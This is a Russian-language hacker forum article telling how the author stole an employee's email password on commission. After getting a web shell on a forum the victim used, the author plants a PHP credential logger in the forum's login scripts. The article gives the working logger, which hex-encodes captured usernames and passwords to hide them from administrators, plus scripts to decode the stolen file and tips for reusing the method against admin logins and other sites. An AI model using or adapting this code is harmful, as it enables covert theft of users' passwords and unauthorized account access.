// История одного взлома.
---------------------------------------------------------------------------------
Итак, началось всё с того, что я получил заказ на угон пароля от
почтового ящика одного крупного Российского предприятия. Почтовый ящик находился
на том же сервере что и сайт этой конторы. Выпив пузырь пива я решил пойти по
пути наименьшего сопротивления и посмотреть на http://domainsdb.net (тогда этот
проект ещё работал) хостятся ли на этом сервере другие проекты в надежде найти
какой-нибудь бажный форум или CMS-ку. После недолгого изучения я понял, что он
крутится на выделенном сервере, то есть параллельных сайтов и форумов хостящихся
на этом сервере не было. Что ж подумал я пора взглянуть на сам портал этого
предприятия. Посмотрев на портал с первого взгляда можно было понять, что
крутится он на заказном неизвестном мне платном движке. Вооружившись ещё парой
пузырей пива и прикрывшись парой каскадных проксей и сокс серверов собственной
установки (не доверяю проксям и соксам, которые не ставил сам, будь они хоть
трижды анонимы) я начал ковырять этот двиг. Каково же было моё удивление, когда я
понял что в двиге всего 4-ре переменные, которые можно проверить. Но расстроился
я ещё больше, когда понял что ни PHP-inj, ни SQL-inj там провести не прокатит.
Все переменные жёстко фильтровались.
По предыдущему обследованию мне было и так ясно, что сервер крутится на
windows 2000 server с msSQL + IIS 5.0 + SSL. Надежда во мне засияла опять и я
полез шарить по своим запасам в поисках подходящих сплоитов, но, поковыряв
сервисы сплоитами я понял, что все они жёстко пропатчены. Пора сканить машину на
наличие бажных сервисов подумал я. Вооружившись надёжным, опять же собственным
shell-ом на FreeBSD-ёвой тачке я запустил nmap сканер. И опять таки обломался.
Никаких бажных сервисов я не нашел. Надежда приказала долго жить и чуть слышно
пискнув тихо скопытилась. На этом я чуть было не плюнул на это дело, так как
оставался только брутфорс, а я не сторонник грубой силы, да и перебирать пароль
из букв и цифр к тому же восьми символьный, (пароли сотрудникам выдавала служба
безопасности предприятия) мне не хотелось. Связавшись с заказчиком, я попросил у
него предоставить мне всё возможную информацию о пользователе ломаемого мыла.
Покопавшись немного в предоставленной инфе я обратил внимание на один часто
посещаемый им форум. Зайдя на форум я сразу понял что это ipb v2.1.4 (происходило
это в период когда только вышел сплоит от RUSH security team). Разобрав сплоит по
полочкам я въехал в то как работает эта уязвимость и ручками заколбасил себе
web-shell на этом форуме (господа юзайте руки и голову всегда, и вас никогда не
навестят маски шоу). О процессе взлома форума ipb не пишу, так как об этом и так
уже столько статей, что и lol разберётся. Что ж скажу сразу, что ставку я сделал
на совпадение пароля пользователя на форуме и на почтовом ящике. Слив себе базу
данных и выдрав из неё hash+соль этого пользователя я врубил PasswordsPro на
перебор паролей начиная сразу с 8-ми символов. Но после 2-х дней перебора и
надписи в PasswordsPro что до конца перебораосталость осталось ну наверное чуть больше
1000 дней я понял что этот вариант меня пожалуй не устроит. Вот тут-то я и понял,
что в гости ко мне пришла хана. Что ж упасть духом значит проиграть подумал я и
угостив эту самую хану пивом притупив, таким образом, её бдительность я начал
думать как мне добыть пароль этого чела и желательно не в зашифрованном виде.
п.с. думал я недолго так как решение пришло почти сразу. Пароль при входе на форум
вы вводите в незашифрованном виде ну а далее он уже шифруется. Значит, перехватить
пароль необходимо на стадии (после ввода до шифрования). Покопавшись в таком же
форуме на localhost-е я понял что обработка вводимых пользователем данных (логин
пароль) происходит в двух скриптах:
sources\action_public\login.php - для пользователей переменные 'UserName' 'PassWord'
sources\action_admin\login.php - для админки переменные 'username' 'password'
Значит, мне необходимо заинклудить в эти файлы свой код на php, который будет
перехватывать пароли пользователей при входе на форум, и записывать их в файл.
Но так как администратор может увидеть наш файл необходимо его криптовать.
Сделать это не составит труда имея под рукой web-shell от этого форума.
// Для этих самых нужд я и написал простенькую программку на php.
Код:
/* программа перехватывает вводивае пользователями логин и пароль
шифруит их в urlencode и записывает их в файл ./tmp/result в формате htm */
$user=$_POST['UserName'];
$pass=$_POST['PassWord'];
$saved="/tmp/result.htm";
$to=fopen("$saved","a");
$rstring="%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%3c%62%72%3e";
fputs($to,$rstring);
$rezult="username:$user<br>password:$pass<br>";
for($i=0;$i<strlen($rezult);$i++)
{
$code=ord($rezult[$i]);
$hexcode=dechex($code);
fputs($to,"%".$hexcode);
}
fclose($to);
Заинклудив данный код в sources\action_public\login.php я стал ждать.
Через пару дней я зашёл на этот сайт через web-shell и скачал файл
/tmp/rezult.htm
Файл был такого вида(пример с localhost-а):
Код:
%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d
%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%3c%62%72%3e%75%73%65%72%6e%61%6d%65%3a%61%64
%6d%69%6e%3c%62%72%3e%70%61%73%73%77%6f%72%64%3a%31%3c%62%72%3e%2d%20%2d%20%2d%20
%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d
%20%2d%20%2d%20%2d%3c%62%72%3e%75%73%65%72%6e%61%6d%65%3a%61%64%6d%69%6e%3c%62%72
%3e%70%61%73%73%77%6f%72%64%3a%31%3c%62%72%3e%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20
%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d
%3c%62%72%3e%75%73%65%72%6e%61%6d%65%3a%61%64%6d%69%6e%3c%62%72%3e%70%61%73%73%77
%6f%72%64%3a%31%3c%62%72%3e
Расшифровать его можно разными способами
1. Записываете в переменную string весь код приведённый выше и запускаете в браузере.
Код:
<?php
$string='%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20%2d%20';
echo urldecode($string);
?>
2. Этот способ поудобней чем первый. В одну директорию с этой программой записываете
result.htm и запускаете программу. В итоге получается файл decode.htm, который
просто открываете в браузере.
Код:
<?php
$linky="temp.htm"; // Путь файла чтения
$saved="decode.htm"; // Путь файла записи
$from=fopen("$linky","r") or die ("Ошибка открытия файла чтения");
$to=fopen("$saved","a") or die ("Ошибка открытия файла записи");
while(!feof($from))
{
$string=fgets($from);
fputs($to,urldecode($string));
}
fclose($to) or die ("Ошибка закрытия файла");
fclose($from) or die ("Ошибка закрытия файла");
?>
3. И мой любимый способ записываете этот код в файл и кладете его в htdocs. Туда же
записываете и result.htm. Далее прописываете в браузере
http://localhost/имя_скрипта.php.
Код:
<?php
$path_open="rezult.htm"; // Файл для обработки
$fopenet=fopen($path_open, "r") or die ("Ошибка открытия файла");
while (!feof($fopenet))
{
$string=fgets($fopenet);
echo urldecode($string);
}
fclose($fopenet) or die ("Ошибка закрытия файла");
?>
Врезультате я увидел в окне браузера незашифрованные пароли пользователей данного
форума. Примерно вот такого вида (пример с localhost-а):
- - - - - - - - - - - - - - - - - - - -
username:admin
password:1
- - - - - - - - - - - - - - - - - - - -
username:admin
password:1
- - - - - - - - - - - - - - - - - - - -
username:admin
password:1
- - - - - - - - - - - - - - - - - - - -
и так далее
Обычным поиском нашел нужного мне пользователя. Проверил, подходит ли пароль от
форума к почтовому ящику и вуаля ПОДХОДИТ!
// Всё на этом история этого взлома заканчивается. Заказчик получил заветный
доступ к чужому мылу, а я зелёных web-маняв.
п.с да и делать это можно не только на форумах ipb, но и во всех остальных
форумах, галереях, гостевых и.т.д, где есть форма регистрации пользователей
и естественно нужен хотя бы web-shell.
Кстати чтобы поиметь таким способом пароли от админки нужно тот же php код что
я поместил в sources\action_public\login.php поместить в
sources\action_admin\login.php заменив предварительно переменную 'UserName' на
'username' а переменную 'PassWord' на 'password' и в тот же файл будут
приходить пароли от админки.
Также можно тырити пароли конкретного пользователя. Для этого просто нужно
использовать конструкцию if т.е сравнить полученное имя пользователя с заранее
записанным и если они совпадают пишем в файл. Если нет то адьёс.
//by AoD специально for Antichat